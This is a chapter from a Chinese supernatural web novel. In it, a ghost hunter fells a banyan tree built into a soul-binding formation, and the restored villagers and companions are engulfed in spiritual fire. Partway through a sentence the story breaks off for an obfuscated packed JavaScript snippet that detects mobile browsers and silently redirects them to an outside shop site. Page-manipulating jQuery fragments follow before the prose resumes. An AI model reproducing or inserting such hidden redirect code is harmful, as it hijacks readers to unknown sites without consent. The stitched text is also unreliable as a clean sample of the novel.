丁生才被她用阵消灭前说的最后一句话是“小心”。
当时她以为是丁生才让他们小心后面遇到的周嘉学,现在想来,是她理解错了,他说的是“小薪”。
丁生才活着的时候找了丁薪一辈子,变成鬼了执念依旧是找回儿子。
最后父子俩连一面都没见上,全都客死异乡。
说话间祁音尘已经在地上画好了阵,直言道:“你现在只剩下半魂,迟早都会被下面那只鬼吸收,若是不想再助纣为虐,就进阵中。”
“能不能再等等,我想好好安葬阿薪哥。”大叔说着抱着丁薪的尸体,想将他放下来,那尸体却像长在树上一样,纹丝不动。
祁音尘也没有隐瞒,直接解释:“这些尸体随这个阵而起,已经和阵法融为了一体,阵破了也就随阵一起烟消云散了。”
“竟是连尸体都留不住吗?”大叔捂住脸哀嚎,泪水漏过指缝,落地前就已经消失不见。
看着大叔走进祁音尘的阵里,随阵消失,祝影也最终还是没告诉大叔,他其实已经见过了丁薪的父亲,只是当时他失去意识了,不知道。
丁生才的下场并不好,变成鬼后先后被胡赖和周嘉学利用,最后还变成了厉鬼。
可他们也只是受害者之一,当初不归村的村民究竟拐卖了多少人,造成了多少家庭的破散,现在已经不得而知。
“怎么了?”祝影也见祁音尘绕到树后,蹲下身,抚摸树干的纹理,若有所思。
“榕树乃是阴木,用阴尸布阵,尸体数量一共为六具,双数为阴,二和四为六,因此六又为极阴之数。”祁音尘说着看向了祝影也,“阴气滋养鬼,所以你才会靠近这里觉得极为舒适。”
“有什么不对吗?那个胡赖现在也是鬼,这里不就是他专门为自己打造的养魂之地。”祝影也刚说完又意识到不对,她先入为主,胡赖变成鬼是最近的事,可这阵法布了少说二十年往上,那个时候胡赖还是个活生生的人,“那个时候胡赖就为自己的死做打算了?”
胡赖生前作恶死后变鬼是必然,为了让自己变成鬼后不至于没有自保之力,提前几十年布下阵,好像也说得过去。
唯一不能理解的就是胡赖的死,既然已经提前为自己的死安排了后路,为什么会选择将自己的鬼体一分为二这种死法,一半的鬼体就算吸收再多的阴气,也始终比不上一只完整的鬼。
更何况他现在刚变成半鬼,极其不稳定就是一个刚入门的捉鬼师,都能把他消灭。
在这种情况下,胡赖还发布悬赏令,吸引捉鬼师进不归村,岂不是把自己往死路逼。
如果地下那只鬼是他的筹码,他有自信没有捉鬼师能够活着离开不归村,他也完全可以再等一等,总归这里有足够的阴气让他能够恢复一大半。
“是时间,他来不及了。”祁音尘扒开树皮,里面竟然是空的,这颗树看着枝繁叶茂,虽说树干有些细小,但谁能想到整个树已经被耗空了,“这个阵要失效了。”
也就是说胡赖等不了身体养好就要提前改阵,否则所做的一切都是白费。
“所以他是故意引捉鬼师进村的,因为他现在补不了阵?”画阵是一件极为耗费精气神的事,对于捉鬼师而言通灵力是决定阵法能否画成功的最重要的因素,而胡赖虽然生前是个通灵力较强的捉鬼师,变成半鬼后,通灵力也随之减半,普通阵他还能画,这种极为复杂的阵他必定画不了了,“可是大家不是傻子,为什么要替他补阵?”
“‘半生魂’与其他阵还有一点不同,其他阵法失效约束力也自然失效,但是此阵失效,所有中咒的人都会死,也就是不仅胡赖讨不了好,我们中咒的人也讨不了好。”
进村的捉鬼师从踏进村起,就一直在被胡赖试探,不能在他设下的那些邪咒中活下来的就被下面的鬼吃掉,想必第二次悬赏令的发布者也是他,加大了砝码,说明之前没有一个捉鬼师能修复这个阵。
“这老东西,真是打了一手好算盘,不费一丝力就能筛选替他补阵的人,而其他人还要被他当作养料喂鬼。”祝影也现在有种活吞了一只苍蝇的恶心感。
而这还关系的不仅是捉鬼师的命,还有一村人的命,换做谁来也只能将这个憋屈打碎牙往肚子里吞,“你打算怎么做?”
“要破这个阵的唯一办法是要找到所有人丢掉的那半个魂,魂体归为后,再毁掉阵,但现在阵破成这样,此时半魂归体,对所有人的身体都会造成一定的影响所以补阵是最好的办法。”
也就是说还是要如那个老东西的意,祝影也讨厌这种被人牵着鼻子走的感觉,尤其对方还是害死她的凶手,还沉浸在怒气中的祝影也,只听“砰”一声,整棵树开始摇晃了起来,一看祁音尘竟然在暴力毁树。
不是说这颗树的死活关系到这个阵吗?
“你在干嘛?”
“所有人的另一半的魂都被锁进这颗树里了,被那六具尸体给关着,只要毁了这颗树,那些尸体消散,魂体就会回到所有人身体里。”祁音尘一边回答,一边继续用拳头砸树。
“既然你已经找到了所有人的另一半魂,为什么不补好阵再毁树?”祝影也没记错的话,刚刚他不是还说现在阵破了,就算现在魂归体了也会对人的身体造成影响。
“只是轻微有损而已,这个村的人做了那么多恶,这点惩罚也算不了什么。”祁音尘说完又瞥了她一眼,有些不自在地说:“况且他害了这么多人,我要是还帮他,我怕半夜被鬼压床。”
这里喜欢压他床的鬼可不就只有她,他是因为看到了她刚刚不满的神情,所以才改变主意的吗?
祝影也不知道该这么形容现在的心情,明明她的身体已经不会再产生任何温度了才对,可她却觉得自己从头到脚都是暖的。
随着“轰”一声,祁音尘跳开,整个榕树直直向前扑倒,那几具尸体像灰一样,随着风散在空中。
从树里飘出了数不清的散发着白色光的小圆球,这些小圆球就像是有自主意识一样,不需要对它们做什么,就自发飘进周围的房子里。
祝影也知道这些小圆球就是人的魂,小圆球发出的光也代表了这个人的魂体有多强健,就比如有的小圆球发出的光弱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137207|145393||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得几乎快要看不见了,而有的即使飘了很远还是能在黑暗中看清那一点光。
其中最亮的一颗小圆球,最后从树里钻出来,仿佛在确认是否还有没出来的小圆球,而后径直钻入了祁音尘身体里。
“怎么样?有没有觉得哪里不舒服?”祝影也绕着祁音尘转了好几圈,看不出来这魂归体和没归体有什么区别。
“有点热。”祁音尘说着单手松开了衬衣的前两颗扣子透气。
热?是在说身体变暖了吗?祝影也仔细盯着祁音尘,这么一说,好像看起来气色确实红润了许多。
祝影也刚想夸几句他那张万年不变的脸终于有了点血色,只听“唰”一声,祁音尘周身燃起了一层白色的火光。
“这什么?”祝影也被吓了一跳,急得直接上手。
祁音尘没想到她会突然上手,急忙跳开,“别碰,这不是普通的火,这烧的是活人的魂,是阳火,你离我越远越好。”
虽然他的动作够快,但祝影也还是碰到了一点,没想到就只是挨到了一点,那灼烧感就仿佛用烧红的利刃在切割她的皮肤,而且这强烈的痛感快得像火山喷发,瞬间就蔓延至全身。
之前听陈起说很多道行浅的鬼甚至不能挨近祁音尘,会被直接烧成灰,因为他的阳气实打实的旺,直到刚刚挨到那一下她才知道,这还真不是在开玩笑。
远处跑来两个“火人”,嘴里还在哇哇乱叫,祝影也一听,居然是陈起和杨易梵两个人。
“终于找到你们了,快救命,不知道为什么,好好的突然着火了。”杨易梵腿长,跑得快,看到祝影也后松了口气,再一看同样着火的祁音尘,顿时感觉大事不妙,“怎么连你也烧起来了。”
“这人就三把火,再这么烧下去,等阳火烧到头顶,咱们也完了。”陈起能感受到这火越烧越烈,初始只是有一点灼热感,这才多久已经感觉整个身体在发烫了,这烧的速度比他想象中还要快。
“好烫,好烫……”杨易梵被自身的火烧得受不了了,原地疯跑起来,叽哩哇啦乱叫。
陈起受不了杨易梵像个跳蚤一样到处乱窜,吵得他心烦,沉声道:“静心,凝神,心神越乱,烧得越快。”
“啊啊啊啊——”
“不是我叫的!”杨易梵见陈起看向了他,赶紧撇清。
喊叫的声音越来越乱,陈起望过去,好几个村民从屋子里跑了出来,满身的火光,在地上打滚的,用手拍的,不管这些人做什么都没有办法拍灭身体的火。
“你们别着急,越急死得越快,屏气凝神。”杨易梵学着陈起的样子念静心咒还真没那么痛了,赶紧把口诀告诉这些村民。
其中一个老头从被火烧中清醒,看清四周的环境,惊恐地冲杨易梵大喊:“救救我,救救我,我不是故意跑出来的,我不是故意……”
“我刚吓唬你们的,没那么容易……”杨易梵嘴里的“死”字还没说出口,只见从地下长出无数只手,拖住那老人的脚,速度快得惊人,一眨眼,那老头就像一具死尸一样,“咚”一声硬挺挺地倒在地上,当即咽了气。